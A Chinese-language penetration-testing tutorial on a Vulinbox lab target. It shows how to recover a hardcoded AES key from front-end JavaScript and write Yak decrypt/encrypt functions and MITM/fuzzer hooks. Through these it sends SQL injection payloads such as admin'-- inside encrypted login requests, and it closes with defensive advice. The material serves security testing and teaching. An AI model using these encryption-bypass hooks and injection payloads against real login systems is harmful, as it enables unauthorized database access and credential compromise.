1. 前端加密渗透测试实战:从解密到SQL注入绕过
作为一名长期从事Web安全研究的从业者,我经常遇到前端加密场景下的渗透测试挑战。今天要分享的是一个典型的前端AES加密登录场景下的SQL注入实战案例。不同于常规渗透测试,这类场景需要我们先解决加密问题,才能进行后续漏洞利用。
1.1 加密登录流程分析
我们先来看这个靶场的加密通信流程(时序图见原文):
- 用户输入阶段:用户在界面输入用户名和密码后,数据会以JSON格式传递给前端JavaScript处理
- 前端加密阶段:JS代码使用AES ECB模式(密钥为"1234123412341234")对原始JSON进行加密
- 加密传输阶段:加密后的数据通过HTTP请求发送到服务器
- 服务端处理:服务器解密后查询数据库验证凭据,再加密响应返回给客户端
这种设计看似安全,但实际上存在几个关键弱点:
- 加密密钥硬编码在JS中
- 使用ECB模式(相同明文产生相同密文)
- 缺乏完整性校验机制
1.2 靶场环境搭建
使用Yakit的Vulinbox靶场(2024-11-25之后版本):
- 启动靶场服务
- 选择"CryptoJS.AES(ECB)被前端加密的SQL注入"场景
- 访问8080端口会看到一个标准登录表单
注意:实际操作时建议使用虚拟机环境,避免影响生产系统。我常用VirtualBox配合Kali Linux搭建测试环境。
2. 加密分析与解密实现
2.1 抓包与加密算法识别
通过Yakit抓包(截图见原文),可以看到请求体格式:
json复制{
"data": "zqBATwKGlf9ObCg8Deimijp+OH1VePy6...",
"key": "31323334313233343132333431323334"
}
其中:
- data是Base64编码的加密数据
- key是加密密钥的Hex编码形式(实际为"1234123412341234")
查看页面源码发现关键加密代码:
javascript复制CryptoJS.AES.encrypt(
JSON.stringify({username, password}),
"1234123412341234",
{mode: CryptoJS.mode.ECB}
)
2.2 解密函数实现
使用Yak语言编写解密函数:
python复制decryptData = (packet) => {
body = poc.GetHTTPPacketBody(packet)
params = json.loads(body)
raw = codec.DecodeBase64(params.data)~
key = codec.DecodeHex(params.key)~
result = codec.AESECBDecrypt(key, raw, nil)~
return string(result)
}
这个函数处理流程:
- 从HTTP包提取body
- 解析JSON获取data和key字段
- Base64解码data
- Hex解码key
- AES-ECB解密
测试解密效果(截图见原文):
python复制packet = <<<TEXT
POST /crypto/js/lib/aes/ecb/handler/sqli/bypass HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
{
"data": "zqBATwKGlf9ObCg8Deimijp+OH1VePy6KkhV1Z4xjiDwOuboF7GPuQBCJKx6o9c7",
"key": "31323334313233343132333431323334"
}
TEXT
println(decryptData(packet))
输出结果为解密后的原始JSON数据。
3. 渗透测试工具链整合
3.1 MITM明文捕获方案
要让MITM代理存储解密后的明文流量,使用hijackSaveHTTPFlow钩子:
python复制hijackSaveHTTPFlow = func(flow, modify, drop) {
request = codec.StrconvUnquote(flow.Request)~
newRequest = decryptData(request)
flow.Request = codec.StrconvQuote(newRequest)
modify(flow)
}
这个钩子会在流量存入数据库前:
- 获取原始请求数据
- 调用我们的解密函数
- 替换为解密后的内容
- 保存修改后的流量
效果对比(截图见原文):
- 修改前:加密的data和key字段
- 修改后:明文的username和password
3.2 Web Fuzzer自动化加密
为了在渗透测试时自动处理加密,需要实现加密函数:
python复制encryptData = (packet, key) => {
body = poc.GetHTTPPacketBody(packet)
result = string(codec.AESECBEncrypt(key, body, nil)~)
data = {
"data": codec.EncodeBase64(result),
"key": codec.EncodeToHex(key),
}
body = json.dumps(data)
return string(poc.ReplaceBody(packet, body, false))
}
使用Web Fuzzer的热加载功能:
- 粘贴明文payload(如SQL注入语句)
- 在
beforeRequest钩子中调用encryptData - 自动发送加密后的请求
4. SQL注入实战绕过
4.1 经典注入测试
通过上述工具链,我们可以直接发送明文的SQL注入payload:
json复制{
"username": "admin'--",
"password": "anything"
}
这个payload会被自动加密后发送,服务器解密后执行的SQL相当于:
sql复制SELECT * FROM users WHERE username='admin'--' AND password='...'
4.2 全加密场景处理
当遇到请求响应都加密的场景(如AES-CBC模式):
json复制// 请求
{
"key":"460e50ad5d1d98a28786a8bc7ccead97",
"iv":"bc7bec0008fdf0aef887dea609178c2b",
"message":"zZGhIrOUyae+cbQvEO01yb0hOPzYVMf+HX4qYHM4M1eX6pHEk0F5Nyfsqqk5wfi3"
}
// 响应
{
"key":"...",
"iv":"...",
"message":"..."
}
需要编写加解密对:
python复制decrypt = packet => {
body = poc.GetHTTPPacketBody(packet)
obj = json.loads(body)
if "iv" in obj && "key" in obj && "message" in obj {
iv = codec.DecodeHex(obj.iv)~
key = codec.DecodeHex(obj.key)~
msg = codec.DecodeBase64(obj.message)~
newBody = string(codec.AESCBCDecrypt(key, msg, iv)~)
return poc.ReplaceBody(packet, newBody, false)
}
return packet
}
encrypt = packet => {
body = poc.GetHTTPPacketBody(packet)
iv = randstr(16) // 随机IV
key = randstr(16) // 随机Key
msg = string(body)
enc := codec.AESCBCEncryptWithPKCS7Padding(key, msg, iv)~
newBodyObj = {
"iv": codec.EncodeToHex(iv),
"key": codec.EncodeToHex(key),
"message": codec.EncodeBase64(enc),
}
newBody = json.dumps(newBodyObj)
return poc.ReplaceHTTPPacketBody(packet, newBody)
}
5. 防御建议与思考
5.1 前端加密的局限性
通过这个案例可以看出:
- 前端加密不能替代HTTPS
- 硬编码密钥等于没有密钥
- ECB模式不适合加密结构化数据
5.2 更安全的实现方案
如果确实需要前端加密:
- 使用 ephemeral 密钥(每次会话随机生成)
- 采用CBC或GCM等更安全的模式
- 添加HMAC校验防止篡改
- 结合非对称加密保护对称密钥
5.3 渗透测试经验总结
- 加密分析:先静态分析JS代码,再动态调试确认
- 工具链适配:通过MITM和Fuzzer的钩子实现透明加解密
- 漏洞利用:在明文层面构造payload,让工具自动处理加密
- 效率优化:将加解密函数封装为模块复用
在实际项目中,我还遇到过更复杂的场景如:
- WebSocket加密通信
- 自定义加密算法
- 多阶段密钥协商
这些都需要根据具体情况调整测试方案。